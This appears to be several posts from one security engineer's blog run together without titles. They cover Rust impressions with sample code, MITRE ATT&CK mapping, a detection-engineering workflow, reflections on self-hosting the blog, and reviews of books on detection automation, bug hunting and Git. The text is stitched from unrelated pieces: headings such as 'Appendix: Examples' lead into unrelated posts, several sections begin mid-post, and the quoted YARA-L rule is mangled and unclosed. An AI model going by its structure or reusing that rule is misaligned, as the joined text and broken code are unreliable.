Mastering Rust’s borrowing rules presents a steep learning curve, though a solid understanding of memory management principles significantly eases this process. This inherent “burden” is, in essence, the price of crafting truly secure code. While the ownership concept is undeniably powerful, it introduces numerous restrictions that necessitate various handling strategies. This has led to the development of different smart pointer types, such as Box<T>, Rc<T>, and RefCell<T>, each designed to address specific scenarios like heap allocation and shared ownership. While indispensable, these smart pointers can initially appear complex and counter-intuitive to newcomers. Some examples in the next listing.

// A basic struct that represents a finding from a security scanner.
// This is a simple type that can be copied and moved on the stack.
#[derive(Debug, Copy, Clone)]
struct SecurityFinding {
    cve_id: u32,
}

// `Box<T>` is a smart pointer for a value allocated on the heap.
// It allows a single owner and is used when the size of a type is unknown
// at compile time.
let finding_on_heap = Box::new(SecurityFinding { cve_id: 2023001 });

// The ownership of the `Box` is moved from `finding_on_heap` to
// `second_owner`. The compiler prevents us from using `finding_on_heap`
// after this.
let second_owner = finding_on_heap;
// The following line would cause a compile-time error:
// println!("{:?}", finding_on_heap); // ERROR: value borrowed after move

// `Rc<T>` is a "Reference Counted" smart pointer. It allows multiple parts
// of your code to share ownership of data on the heap.
use std::rc::Rc;
let shared_finding = Rc::new(SecurityFinding { cve_id: 2023002 });
let first_reader = Rc::clone(&shared_finding);
let second_reader = Rc::clone(&shared_finding);

// With `Rc`, all three variables (`shared_finding`, `first_reader`,
// `second_reader`) can access the data, and it will only be deallocated
// when the last one goes out of scope.
println!("Readers share a finding with CVE ID: {}", first_reader.cve_id);

Rust does not offer traditional object-oriented programming (OOP) support in the same vein as languages like Python or Java. While it’s possible to write OOP-like code using structs and impl blocks, these constructs, though mimicking classes, do not encapsulate data and behavior in the exact same manner. From my perspective, as someone not heavily invested in strict OOP paradigms, this is acceptable. However, others more accustomed to conventional OOP might find this approach unfamiliar. The next listing shows struct and impl mimicking classes.

// In Rust, we define data and behavior separately.
// This `struct` represents the data for a network device.
struct NetworkDevice {
    ip_address: String,
    hostname: String,
}

// An `impl` block holds the behavior (methods) for the `NetworkDevice`
// struct. It's a key distinction from traditional OOP, where data and
// methods are declared together within a single `class` definition.
impl NetworkDevice {
    // This is an associated function, acting like a constructor.
    fn new(ip: String, host: String) -> NetworkDevice {
        NetworkDevice {
            ip_address: ip,
            hostname: host,
        }
    }

    // A method that operates on an instance of the `NetworkDevice` struct.
    // It takes a reference to `self`, allowing it to access the instance's
    // data.
    fn ping(&self) {
        println!("Pinging device at {} ({})", self.ip_address, self.hostname);
    }
}

While generics are an excellent concept for achieving code reuse and type flexibility, their extensive application can make code significantly more complex. This is particularly true for impl, fn, and struct definitions used with intricate where clauses and for clauses within impl blocks. Beyond the added cognitive load, a drawback of widespread generic use is the potential for increased boilerplate, as you often need to explicitly implement traits or specify bounds for specific types. The code in the next listing shows an example of it: fn...where...for is too much for me 😓.

use std::fmt::Debug;

trait SecurityCheck {
    fn check(&self) -> bool;
}

// —- Simple, readable generic code —-
fn run_simple_check<T: SecurityCheck + Debug>(item: &T) {
    println!("Running simple check on: {:?}", item);
}

// —- Overly complex, hard-to-read generic code —-
// The multiple clauses, including the `for` clause, add significant
// boilerplate and cognitive load, making the code's purpose difficult
// to parse at a glance.
fn run_complex_check<'a, T, I, U>(items: I)
where
    I: IntoIterator<Item = T>,
    T: SecurityCheck + Debug + 'a,
    U: FromIterator<T> + 'a,
    for<'b> T: AsRef<&'b str>,
{
    println!("Running complex check on a collection...");
}

Lifetimes, though conceptually straightforward prove challenging in practice. While the borrow checker frequently infers lifetimes implicitly, there are instances where explicit lifetime annotations are required. Defining something like &'a str and then reusing 'a throughout the code can quickly lead to visual clutter and confusion. It’s a personal hope that future versions of the borrow checker will become even more adept at lifetime inference, thereby reducing this burden on the programmer 🙏.

A peculiar aspect of Rust’s module system, at least initially, is the need to import specific traits to access their methods, even after importing the base type. For instance, after importing std::fs::File to instantiate a File object, you’d then need to explicitly import std::io::Write to use methods like file.write_all(...). This pattern, though understandable from a trait-based design perspective, can feel counter-intuitive for new users 😵‍💫.

From my perspective, over-reliance on metaprogramming (macros and attributes) tends to make the code overly declarative. This can introduce a level of implicitness that, in my opinion, sometimes deviates from Rust’s general philosophy of explicitness. Nevertheless, when employed judiciously, metaprogramming constructs are undeniable time-savers, significantly simplifying tasks, while keeping the code readable, as previously shown with the thiserror crate in its derive mode.

While using metaprogramming constructs in Rust is relatively straightforward, authoring them is exceptionally challenging. Writing macros is considerably more complex than writing standard Rust code—and Rust itself is already a complex language. Personally, I intend to stay away of macro authorship due to this difficulty. I’ve heard that other modern languages, such as Zig ⚡, offer a more approachable experience in this domain, by the way.

Navigating complex dependency graphs can be challenging in any language, and Rust is no exception, though the issue isn’t that Rust “doesn’t encapsulate module dependencies” but rather the complexities of transitive dependencies. I encountered a scenario where my program directly depended on module B@0.8 (the latest), but module A (also the latest version) had a transitive dependency on module B@0.6 (an older version). This conflict forced me into a tough choice: either update module A to a release candidate that supported module B@0.8, or downgrade my direct dependency on module B to match the version required by module A’s latest stable release. This highlights a common semantic versioning challenge rather than a fundamental flaw in Rust’s module system itself.

The Rust Programming Language Book

The Rust Programming Language book 📕 (TRPL) is an outstanding resource and a truly helpful initiative 🎖️. My only critique is its perceived lack of meaningful exercises and a tendency to sometimes feel like a comprehensive feature showcase rather than a deep dive into specific concepts. Perhaps a two-volume approach could address this. Nonetheless, it remains an undeniable fount of knowledge for aspiring Rustaceans. While Rustlings offers a decent interactive learning experience, in my opinion, it doesn’t quite fill the gap for the kind of in-depth exercises 🏋️ and illustrative examples found in texts like Java: How to Program by Deitel.

Why Security Engineers Should Care About Rust

For security engineers, Rust offers a unique blend of performance, control, and inherent safety features that are incredibly valuable:

• Memory safety by design: Rust’s ownership system, borrowing, and lifetimes eliminate entire classes of memory safety bugs in safe code at compile time. This proactive approach significantly reduces the attack surface of applications. That’s why I view Rust as fundamentally safe, not just incrementally safer than C or C++: its safety model is enforced by the compiler, not bolted on through runtime checks or external tools. Understanding these mechanisms provides a deeper appreciation for memory corruption vulnerabilities, aiding in both defensive coding and offensive research.
• Systems-level control: Rust provides low-level control over hardware and memory without sacrificing safety, making it ideal for writing secure, high-performance tools often needed in information security. This includes custom network protocols, embedded systems security, or even kernel modules where precise control is paramount.
• Robust and self-contained binaries: Rust, through its tooling and build system, makes it straightforward to produce statically linked, self-contained binaries. This greatly simplifies deployment, particularly in constrained environments like air-gapped networks or incident response kits, where managing external dependencies is impractical. While not unique to Rust—languages like Go and C can also produce such binaries—Rust’s tooling lowers the friction and integrates this approach seamlessly into modern workflows. These executables are less prone to “it works on my machine” issues and tend to offer greater reliability.
• Performance for security tools: Many security operations, such as log analysis, cryptanalysis, or high-volume network traffic processing, demand high performance. Rust’s zero-cost abstractions mean you get C/C++-level performance without the traditional security pitfalls, enabling faster and more efficient security tooling.
• Vulnerability research and reverse engineering: Learning Rust deepens one’s understanding of how programs interact with the operating system and manage memory. This knowledge is directly transferable to reverse engineering efforts, helping analysts better understand exploit primitives and analyze compiled binaries for vulnerabilities.
• Secure ecosystem: crates.io with its transparency features (dependencies, downloads) allows security teams to make more informed decisions when integrating third-party components, mitigating supply chain risks.

Rust empowers security engineers to build more resilient tools and applications while simultaneously enhancing their theoretical and practical understanding of low-level security concepts.

Final Thoughts

Overall, Rust 🦀 is a remarkably well-designed programming language. Its learning curve is, without a doubt, steep ⛰️. While not perfect, I firmly believe that among modern systems-level programming languages, Rust stands out as the premier choice, even with promising alternatives like Zig, which currently possesses a less mature ecosystem. Security engineers can significantly benefit from internalizing Rust’s core concepts, leveraging them to sharpen their expertise in application security, vulnerability research, and the nuanced world of memory corruption bugs. I intend to continue exploring and utilizing Rust in the coming months, confident in its utility for my professional development. 👊

References

• The Rust Programming Language
• Rust by Example
• The Cargo Book
• Idiomatic Rust

Mapping to MITRE ATT&CK

The most important tip here is the well-known phrase: context is king. As shown by MITRE itself, a single technique alone is sometimes insufficient to infer maliciousness. Similarly, a command, a tool, an operating system, or a user alone, without context, may not be enough to classify an action as malicious. A Windows system in a network is not intrinsically malicious, but a Windows system running Mimikatz and connecting to an external machine might indicate credential dumping and data exfiltration.

This highlights why we must rely on the rule context, which exemplifies its crucial nature. The context must include baseline directives, best practices, and how the environment is expected to behave. It must also detail the protections in place against the scoped malicious behavior. Ultimately, it’s important that the context answers the question: “What and why am I detecting?” by describing the behavior, technical indicators, and, when possible, the adversary’s objective.

Refer to the appendix for a practical example.

Tools

Some tools are freely available to aid in using MITRE ATT&CK. The one I use the most is the ATT&CK Powered Suit, a Chrome extension that provides quick access to the matrix, allowing the user to query by each word present in many fields, like descriptions, titles, and IDs. This greatly helps, especially when a keyword list is available.

MITRE also offers a spreadsheet version of the entire matrix through the ATT&CK Data and Tools page. This is useful for quick access. Besides that, as previously mentioned, a decent LLM with a good prompt 🤖 is hands down the best companion.

Bottom Line

While MITRE ATT&CK is a flexible and well-documented framework, it can be misused if applied without context, threat relevance, or operational maturity. The most common failure, however, is simply not using it at all. Following the strategy of mapping tactics then techniques will greatly help in the process, and leveraging tools can make it easier. However, taking the time to read and understand what the chosen tactic or technique aims to represent is crucial—and this is the only way to truly grasp the gains of this framework.

It’s always important to highlight that MITRE ATT&CK is not complete by itself. Using it to map scenarios is great, but it’s incomplete by design. Not because it’s a flawed product, but because it’s infeasible to map all possible procedures under every technique. Bearing this in mind when analyzing a MITRE ATT&CK mapping underscores the importance of having comprehensive context for each TTP in the map. 🏅

If it looks challenging in the beginning, that’s because it is, but it’s totally worth the effort. A final tip for beginners: start small and iterate continually until the process matures. Although not perfect, this is certainly a good path towards a truly threat-informed defense, and good mapping will be prolific in different ways. From allowing engineers to find similar rules in public repositories, to building more precise coverage maps. 🚀

Appendix: Use Case and Context Example

Here is a use case and the context derived from it in a fictional scenario.

Building Software: A Pre-Coding Imperative

In the realm of software engineering, when an engineer receives a request for new software, the initial phase is dedicated to deeply understanding the problem. As highlighted in “Software Engineering, 10th Edition by Ian Sommerville,” this involves specifying requirements to grasp what needs to be built, why it’s necessary, and who will use it.

Once functional and non-functional requirements are clearly defined, the engineer assesses their alignment with the team’s overarching scope and strategy. If alignment is confirmed, the process transitions to the design phase. Here, architectural patterns, data models, interfaces, and algorithms are conceptualized and meticulously documented, serving as a comprehensive blueprint for subsequent implementation.

A crucial aspect of the design phase is leveraging existing solutions. Engineers actively seek out and utilize design patterns, libraries, frameworks, and other pre-existing components. This strategic reuse not only accelerates development but also enhances safety, as these components are typically well-tested and validated, assuming adherence to good software practices.

Building a Detection Rule: A Methodical Path

Applying this same methodology to the creation of a detection rule, a TDE engineer would begin by scrutinizing the requirements specified in the incoming ticket. This involves clearly articulating the detection requirements, detailing precisely what is expected to be detected and identifying potential sources of false positives. This specification would also encompass any prerequisites for log ingestion or monitoring, such as the deployment of EDR agents, the integration of IDS/IPS devices into the network, or the centralization of logs within a SIEM.

Armed with such a detailed list, it becomes possible to understand whether the proposed use case aligns with the team’s strategic objectives and if all essential prerequisites for rule construction are met. A clear misalignment with strategy would warrant dropping the request, while a failure to meet fundamental requirements—like the absence of necessary logs in a SIEM—would necessitate sub-requests, leading to either a delay or abandonment of the rule creation.

Assuming development is approved to proceed, the engineer enters the design phase. This involves crafting a one-paragraph clear statement for each mapped rule, outlining its purpose and providing comprehensive context. Here, the company’s unique operational idiosyncrasies must be considered, and the rule’s goals must be explicitly articulated. Finally, with this foundational documentation in hand, the new rule must be appropriately categorized using the MITRE ATT&CK taxonomy, specifying relevant tactics and techniques.

This foundational documentation serves a vital purpose: it empowers the engineer to efficiently search public repositories for existing rules that align with the defined goals. The MITRE ATT&CK taxonomy proves particularly useful here, acting as effective keywords for targeted searches. Even if a rule precisely monitoring the exact TTP within the exact context isn’t readily available, similar rules can often be adapted with minimal effort.

A crucial note regarding MITRE ATT&CK mapping is its inherent lack of “how-to” specifics, as procedures are not directly mapped within the matrix. As Katie Nickels demonstrated years ago, an entire universe of context exists beneath each technique. This underscores why comprehensive context must invariably accompany ATT&CK mapping.

MITRE ATT&CK continues to evolve, offering detection ideas under each technique, including insights into data sources, data components, and the targets that should be monitored. Alongside publicly available rulesets, this provides an invaluable resource, enabling engineers to develop new rules without starting from scratch or reinventing the wheel.

The diagram below summarizes this process with some abstractions.

flowchart TD
    A[Detection Request] --> B[Requirement Elicitation]
    B --> C[Requirement Analysis]
    C --> D{Strategy Aligned?}
    D -- No --> E((Drop Request))
    D -- Yes --> F{Prerequisites Satisfied?}
    F -- No --> G[Prerequisites Engineering]
    G -- Achieved / Re-assess --> F
    G -- Unachievable / Too Costly --> E
    F -- Yes --> H[Rule Design & Documentation]
    H --> I[Leverage Existing Solutions]
    I --> J[Implement Rule Logic]
    J --> K[Test & Tune]
    K -- Refine --> J
    K -- Approved --> L[Peer Review]
    L -- Rework --> J
    L -- Approved --> M((Deploy Rule))

Key Advantages of Structured Detection Engineering

One might be tempted to believe that an MVP-like approach—starting immediate log analysis to construct queries—would be faster. While this might suffice for scenarios where the team is highly familiar with the data source and use case, ultimately, the documentation and validation of the new rule will still be necessary. Conversely, leveraging existing, tested rules based on early documentation significantly accelerates the testing phase and instills greater confidence in the outcome.

Through such careful research and reuse in detection engineering, rules are inherently built upon solid references and robust documentation. This strong foundation grants incident response teams a enhanced level of confidence when handling alerts. Furthermore, when implemented consistently, this approach proactively identifies and mitigates false positives, thereby significantly reducing alert fatigue. 😎

Conclusion

Adopting a structured process that prioritizes engineering requirements, develops comprehensive documentation, and researches existing artifacts (rules and documents) can substantially reduce the time spent on data analysis (logs) and detection validation. The practice of reusing existing rules and leveraging established documentation is a hallmark of senior engineering and a demonstrably smart decision.

While this approach might initially appear to introduce unnecessary overhead, especially for simpler rules or those with which the team is highly proficient, it’s crucial to remember that every rule, before being moved to production, must be properly documented and thoroughly tested. Therefore, any time invested in documentation is inherently valuable. While researching artifacts might seem less critical for familiar logs and tools, it can still yield invaluable insights into novel telemetry or alternative monitoring approaches for a given data source. ✌️

Appendix: Examples

Ownership and Stack

One of the main reasons I started this blog was to work with different technologies and experiment with new things. Beyond the technical aspects, this decision also had a philosophical reason: I want to be the owner of my data.

When you rely on platforms like Medium or LinkedIn, you abstract away the infrastructure, but it comes at the cost of not fully owning your content—and eventually, you might lose it. Keeping ownership of the content I create gives me peace of mind that it will always be available on my own terms.

This idea aligns with the POSSE concept—Publish (on your) Own Site, Syndicate Elsewhere. The core idea is to keep your content on infrastructure you control, using a dedicated domain that you can reference from any platform.

Of course, this adds the burden of maintaining a stack that includes a domain, DNS, WAF, version control, CI/CD, and content creation tools—some optional, but all useful for automating and securing the process. Although it’s more complex, this “Blogging as Code” approach is a fun excuse to use some of the tools we (IT and security folks) study.

In a nutshell, my current stack includes:

• a custom domain—lopes.id;
• DNS, web analytics, and WAF via Cloudflare;
• version control and CI/CD with Git, GitHub, and GitHub Actions; and
• a static site generator: Zola.

I intentionally avoided complex blogging platforms like WordPress to make the final product safer and easier to maintain. With a static site, I can publish content similarly to how I used to work with LaTeX 🦖: write in Markdown and let the site generator handle the formatting based on the theme. Simple and effective.

Reflections

Over the years, this blog has helped me improve my writing skills, including writing in English, since my native language is Brazilian Portuguese. 🇧🇷 Writing is a skill that must be practiced, and I remember how difficult it was to write down a thought when I started compared to now—just check the older posts. I’m far from perfect, but today it’s much easier for me to express myself in English. 🇺🇸

Writing is something you improve through consistent reading and practice. At work, when I have to write reports or guidelines, my writing is often praised by teammates for its clarity. Thanks to this blog, I’ve learned to summarize content, impressions, and ideas into concise texts that communicate effectively.

On the technical side, it’s been a lot of fun putting the tools together to deliver the content. I had to learn some CI/CD techniques to automate deployments from merges. I also adapted the Git Flow workflow to manage branches, parallelize work, and protect the mainline. Working with Cloudflare’s DNS and WAF gave me a taste of what it’s like for SREs to keep systems running smoothly. As an Infosec engineer, this insight has improved how I interact with those teams.

At one point, I even assessed my site with BURP Suite to find and fix vulnerabilities. This kind of “full stack” exercise is great because you have a grasp on how to test, fix, and make strategic decisions while considering the side effects of each change.

Content-wise, I started with simple tutorials pulled directly from my personal notes. That worked well, and some of those posts (especially the Arch Linux 🐧 ones) are still among the most visited. However, I eventually realized that writing a new post takes time, and as a new father, I didn’t have much of that. So I decided to focus my efforts on my main field: Information Security.

Future

Blogging is a solitary and arguably old-school activity in a world dominated by streamers. 📺 I didn’t start this blog to become famous—my experience has shown that I’m often the most frequent reader of my own posts. Still, once in a while, a post I wrote long ago ends up being helpful to someone else, and that’s a nice bonus.

Sharing my perspective (whether technical or philosophical) forces me to organize my thoughts. Since I mostly write for my future self, I aim to be direct and as clear as possible.

Because I fully own my content (POSSE), I decide how it’s made available and use other platforms purely for distribution.

Despite the time and effort a blog requires to maintain, it’s absolutely worth it. Sharing knowledge is a meaningful way to contribute to others, and ultimately, it serves as a time capsule for yourself. Like a photo album, it’s nice to look back and remember what you were thinking at different points in time. It’s also great to compare who you are now to your past self and see how much you’ve grown.

To my past self: thank you for your time! You saved me a lot of effort today, and I’ve learned a ton thanks to your dedication. To my future self: I hope I can keep doing this work to help you grow even more—to boldly go wherever I want to go. 🚀

Overview

Automating Security Detection Engineering is a highly specialized book focused on designing and implementing a Detection-as-Code program. It covers the technologies involved in such a project, with a strong emphasis on the how rather than just the what.

The book is packed with examples and hands-on labs, all contributing to a broader goal: integrating tools to orchestrate the rule lifecycle—from creation to management. 🤖 Dennis Chow, the author, demonstrates a deep understanding of detection engineering and the many tools used in this field, including EDR, SIEM, IDS, and supporting technologies like GitHub and Terraform.

Readers can expect insights into automating key aspects of a detection engineer’s work and learning how to integrate various tools to achieve this. However, this is not an introductory book. The author assumes prior knowledge of detection engineering, IT infrastructure, and programming.

Although completing the labs isn’t mandatory, if you’re not accustomed to integrating tools via APIs, I highly recommend following them step by step. Doing so can significantly enhance your skills, make you a better engineer, and allow you to implement these solutions in your own work—ultimately making your life easier and your boss happier. 😎

This book, released in mid-2024, reflects the growing importance of automation in detection engineering. Reading it can help set your work apart.

Impressions

This book explores two areas I’ve been deeply invested in over the past few years: automation and detection engineering. Perhaps because of this, my expectations were quite high going in, and I felt a bit underwhelmed by the end.

Don’t get me wrong—this is a good book. However, it reads more like a collection of use cases the author has implemented, organized into a book format. I felt it lacked sufficient context, theory, and insights to effectively tie everything together. Let me explain. 🗣️

Dennis Chow’s writing style is very direct. He jumps straight into the technical details without offering much in the way of contextualization, such as diagrams or examples that illustrate how different tools and concepts interconnect on a broader level. I also felt that the number of tools covered was excessive, making it difficult to focus on the core concepts. Sometimes, less is more.

Had he spent more time refining the text—adding context, designing diagrams to illustrate the overarching system, and providing more didactic explanations for each lab—it would have elevated this book to an outstanding level.

Despite its shortcomings, this book is a must-read for detection engineering teams seeking greater maturity and scalability. Security teams don’t scale at the same rate as business growth or the expanding attack surface, making automation crucial. This book offers valuable scenarios and insights that can be adapted to your organization.

Personally, I already have a Detection-as-Code implementation at work, and I was looking for ways to improve it—especially in the area of testing rules in a CI/CD pipeline. This book provided me with exactly that. The examples and ideas presented helped me rethink testing strategies, which will undoubtedly enhance our system.

Since the book covers a wide range of tools and is relatively new, some bugs in the code are to be expected. However, I feel the book was rushed to publication. That wouldn’t be a major issue, but some of the downsides (including a bug in an example from Chapter 2—see below) could have been caught with more time for writing and review.

Bottom Line

Automating Security Detection Engineering is a must-read for detection engineers with at least a solid programming background. As the only book I’m aware of that specifically covers automation in this field, it’s essential for teams looking to level up.

While I’ve criticized the apparent rush to publish (resulting in a lack of context and use cases) and the excessive number of tools presented, I still found it to be a very good book. My high expectations may have influenced my view, but sometimes, instead of just showing how to do something (since the how depends on your tech stack), it’s more valuable to discuss real-world scenarios with a few well-chosen examples and labs.

Despite its flaws, the book’s strengths outweigh them. The insights and inspiration it provides (especially in Part II) make it worth reading. It’s a short, straightforward book that deserves your attention. ✌️

Bug

In Lab 2.5, you’ll find the following YARA-L code (see the full code here). According to the book:

“…at least two distinct hostnames… [are required to make this rule trigger].”

However, this isn’t accurate. Since the hostname is locked in the match section, $hostname remains the same within event aggregation. This causes the count_distinct() function to always return 1, preventing the rule from triggering. A potential fix would be to use count_distinct($e.metadata.id).

I considered submitting a PR, but since many older PRs are still waiting for review and merge, I decided against it.

```c rule rule_multiple_connections_ru_cti { … $e.target.hostname = $hostname … $ioc.graph.entity.hostname = $hostname match: $hostname over 15m outcome: $risk_score = 10 hostname) condition: ($ioc and $e) and $event_count >=2 }

Plot

A Bug Hunter’s Diary is a compilation of bugs discovered by the author, Tobias Klein. Each chapter explains, in a light and engaging writing style, how Tobias discovered a vulnerability, created an exploit, remediated it, and the lessons he learned. He also includes final thoughts and references, which I found to be a great structure. Throughout the book, he shares code snippets and diagrams to help readers understand the technical details—helpful since he often works at the lower levels of computing, interacting with the kernel and CPU.

By the end of the book, Tobias includes appendices that provide additional details on techniques and tools he used. One appendix even lists the commands he commonly uses in debuggers, which is incredibly helpful for beginners. As a nearly 15-year-old book, some tools and commands mentioned may have changed or become outdated. New tools, like Ghidra, have also emerged since its publication. However, the author does an excellent job of keeping the BHD page updated with additional content, such as videos and updates. This effort breathes fresh life into the book and enhances the learning experience.

Overall, the book is straightforward and concise. It’s a quick read, but if you want to dive deep into bug hunting, following the references mentioned by the author is essential.

Impressions

While the book is highly technical, it has a storytelling quality thanks to the author’s approach of presenting each case as it unfolded. Tobias’s intention to make the content accessible is evident through his recaps and explanations. Reading this book gave me a glimpse into the bug hunting scene, and by the first chapter, I could clearly see the author’s expertise in the field.

Bug hunting can be divided into static and dynamic analysis (SAST and DAST) and categorized into low and high levels. Static analysis focuses on source code, while dynamic analysis examines processes running in memory. Low-level work involves direct manipulation of hardware resources, memory management, and system calls, whereas high-level work focuses on user-facing applications, managing complex software architectures, and leveraging APIs for increased abstraction from the underlying hardware.

Tobias excels in low-level static analysis. As a result, the book is filled with C code, syscalls, CPU registers, and memory addresses. Readers with a background in programming and computer architecture will benefit the most from this book.

I found it fascinating to learn more about the vulnerability disclosure process, especially after reading Countdown to Zero Day a few months ago. That book explored the vulnerability market (white, gray, and black) during the early 2000s, the era when Stuxnet and its variants were developed—the same time frame of the cases presented here. In this sense, the two books complement each other.

For someone outside the bug hunting trenches, it’s enlightening to understand attacks like buffer overflows and NULL pointer dereferences in greater detail. The references Tobias provides are particularly valuable. While some links are broken due to the book’s age (published in 2011), the recommended books are gold ⭐ for anyone starting in this field. Despite the book’s brevity and the author’s ability to simplify complex topics, the subject matter is dense. Some references are lengthy and will require significant time to fully absorb.

Last Thoughts

Beyond the technical details and the author’s knack for simplifying complex concepts, what I appreciated most about this book was learning the bug hunter’s mindset. Tobias doesn’t explicitly state it, but if you pay close attention to each case, you’ll notice his process. His extensive background helps him select targets and form hypotheses. He then enumerates entry points where users input data, tracks that data, and looks for validation gaps or logic errors that could allow crafted data to disrupt the process and gain control over the CPU. Once he develops a working exploit, he notifies the company or a bug bounty program, along with remediation suggestions. This was exactly what I was looking for. 👀

Another valuable lesson is that it’s okay to specialize within a field, such as low-level static analysis. However, adding complementary skills, like dynamic analysis, even if you don’t master them, can be beneficial in certain scenarios. For example, while you might rarely use a hammer, having one can make the occasional task easier. Similarly, expanding your skill set can open up new opportunities and make your work more efficient.

To answer my initial question, bug hunting is a precursor to Offensive Security. In bug hunting, researchers focus on finding and exploiting vulnerabilities (bugs). Once a vulnerability is discovered, it becomes a zero-day, and the researcher decides how to proceed. Eventually, the vulnerability may become public, allowing Offensive Security engineers to use it in their tests.

Although this book serves as an entry point to bug hunting, it’s not an entry-level book for IT professionals. Readers will benefit most if they have a background in C programming and computer architecture.

After reading this book, you’ll realize that bugs aren’t monsters. They’re often just a lack of user input validation or flawed logic. Fixing them can be as simple as adding an extra condition to an if statement or checking the size of a user-provided string. That said, while the bugs themselves may not be monstrous, the impact of their exploitation can certainly feel like a nightmare. ☠️

Git and the Book

Git was developed by Linus Torvalds in 2005 to solve version control issues while maintaining Linux. It was designed as a set of small programs that work together to track changes in files. As the version control system for one of the most famous open-source projects, Git gained widespread adoption and grew in both quality and functionality to become the preferred VCS for many professionals today.

Git’s simplicity is one of its greatest strengths. As a distributed VCS, Git eliminates the complexity found in older tools like Subversion (SVN). I remember years ago using Microsoft SharePoint to manage team documentation, which had a kind of centralized VCS under the hood. Back then, before editing a file, I had to check it out, and after finishing, I had to check it back in to “release” it. If someone forgot to release a file, we either had to contact the SharePoint admin or wait for the person to become available. It was a huge waste of time.

In Git for Teams, Emma Jane demonstrates a deep knowledge of Git and extensive experience using it with teams, particularly in open-source projects—arguably the most challenging environment for version control. She guides the reader from the basics of teamwork and version control processes to more advanced and complex Git commands. However, it’s important to note that this book was released a decade ago (in 2015), and like any technical book tied to a tool, it has become somewhat outdated. The version control landscape has also evolved significantly since then, with Git and platforms like GitHub now being ubiquitous in both professional and academic settings.

Git for Teams is divided into three parts. Part I provides an overview of teamwork and collaboration strategies. Part II delves into Git’s technical aspects and concepts. Part III covers three code-sharing platforms: GitHub, BitBucket, and GitLab. Despite Emma’s suggestion that Part I might be less relevant for technical professionals, I found it valuable because it lays a solid foundation for understanding team dynamics, which is then applied in Part II through Git workflows . Part III, while lighter in content, provides guidance on using each platform.

This book covers the basics of project management, teamwork, version control, and how to implement these practices using Git. You’ll learn how to create repositories, commit changes, work with branches, merge, revert actions, and more. Beyond just explaining commands, Emma provides version control strategies from her experience as a seasoned professional. For instance, she emphasizes organizing work into tasks grouped by objectives, such as a new feature. Each objective should have its own branch, and commits within that branch should be atomic—focused on specific changes. This approach allows you to leverage Git’s full potential, enabling you to modify or remove commits before merging the branch into the mainline or discarding it entirely.

Concepts like branching, committing, and pull requests are explained with clear examples that help you truly understand their purpose. These explanations make best practices seem obvious. For example, she describes branching as a way to say, “Check this out!” to your teammates. Therefore, additions to the project should be in a new branch, allowing others to review, propose changes, and decide whether to merge or drop it.

Overall, it’s a straightforward yet comprehensive book, offering a fast and informative read.

Impressions

Emma has a light and conversational writing style, making the book feel like a friendly discussion. She gets straight to the point, so don’t expect extensive references or footnotes. The examples she uses are drawn from real-world scenarios she encountered during her career, many of which are based on open-source tool development. These cases are robust and relatable.

As someone who has been using open-source software for over 20 years 👴, I was familiar with terms like “fork” and “releases.” However, learning their significance from a developer’s perspective—especially from someone who worked on projects I’ve used, like Drupal—was truly enlightening.

Git is fundamentally about version control, so features like issue tracking, authentication, and access control are implemented by external tools. Today, GitHub is the most popular platform, with GitLab being the go-to open-source alternative. These tools complement Git and make teamwork more efficient. That said, I don’t think Part III, which focuses on these platforms, adds much value. It feels like filler content, making the book longer and more dated than necessary.

The book hasn’t been updated since its release. As a result, some commands and terminology have changed, and many links are broken. Even the official website now consists of a single page with text about Git—many subpages referenced in the book no longer work. The author could have consolidated everything into a single repository instead of relying on a website, as the GitHub and GitLab repositories are still accessible.

For me, the second half of Part II felt too command-heavy, focusing more on examples than best practices. I would have preferred more discussion on strategies, such as when to use rebase versus merge, rather than an exhaustive list of rebase examples. Defining general guidelines for such scenarios would have been more helpful.

Bottom-line

I started using Git many years ago because I was tired of using suffixes like _final, _reviewed, and others in my filenames. Despite this, I never took the time to truly understand how Git works under the hood. This superficial knowledge limited my ability to use Git effectively. For example, I used to think that a commit should be as comprehensive as possible, often bundling an entire day’s work into a single commit. When I needed to revert a change, I did it manually, which defeated the purpose of using Git. Additionally, because I didn’t use branches effectively, I sometimes found myself deleting and recloning entire repositories when changes needed to be discarded.

In contrast, last year I started using branches for this blog 🌲 after learning the practice at work. For every new post, I create a new branch and work on it independently. This allows me to parallelize my writing and keep drafts organized. For instance, when writing the Project Nebula series 🚀, I created a branch for each post (four in total) and treated each as an individual feature. Publishing a post was as simple as merging the branch into the main branch.

Git is a tool, and like any tool, it can be used in various ways—from basic operations like cloning, branching, committing, and pushing, to more advanced techniques like rebasing, reverting, and bisecting. The author covers all of these, but it’s up to you to decide how to use them. Software engineers may need to master advanced techniques, while SREs (including information security professionals like myself) may find simpler workflows sufficient. Regardless of your approach, adhering to best practices is essential for making the most of Git. This book can certainly help, especially Parts I and II.

For non-software engineers, this book might provide more information than necessary. That’s okay—it’s a testament to the author’s expertise. My advice to readers is this: If you find yourself getting bored, skim through the content and take notes on the commands, their effects, and the contexts in which they should be used. Focus on the ones you think you’ll use frequently, as you can always rely on Google or an LLM for rare scenarios. Create a cheat sheet for future reference and move on.

Git is like a whiteboard—you need to set your own rules to keep your work organized. Decisions like defining the main repository, choosing a branching strategy, and establishing naming conventions for commits and branches are what bring order to chaos. This book will help you understand what works best for you and your team. You’ll learn how to use Git beyond just clicking buttons on GitHub, giving you greater control over your work. 💪

What is a Detection?

A detection is a rule that triggers an alert 🚨 when specific conditions are met. These conditions can include a single event, a sequence of events, or a combination of events. In a SOC, detections are designed to identify and respond to malicious or unauthorized activities in real-time or near real-time. Such activities often fall into the following categories:

1. Adversarial behavior: Use cases aligned with known tactics, techniques, and procedures (TTPs) of threat actors, such as lateral movement, privilege escalation, or data exfiltration. Frameworks like MITRE ATT&CK are often referenced.
2. Indicators of Compromise (IOCs): Specific artifacts or evidence of malicious activity, such as malware hashes, IP addresses, or domains. Here, there’s an intersection with threat intelligence.

As discussed here, detections should lead to actionable steps that mitigate risk. Effective detections require input data, usually logs from the monitored environment, and must provide enough context to be actionable for analysts.

What is NOT a Detection?

When implementing new security tools or addressing vulnerabilities, it’s common to see requests for new detections. Similarly, compliance with regulations or incidents often prompts such requests. However, are detections always the right response? Not necessarily. Two other areas often overlap with detections but are distinct:

• Vulnerability management: Responsible for identifying, assessing, and remediating vulnerabilities to reduce risk as a proactive approach to minimizing the attack surface.
• Governance, Risk, and Compliance (GRC): Responsible for ensuring adherence to organizational policies, standards, and regulatory requirements.

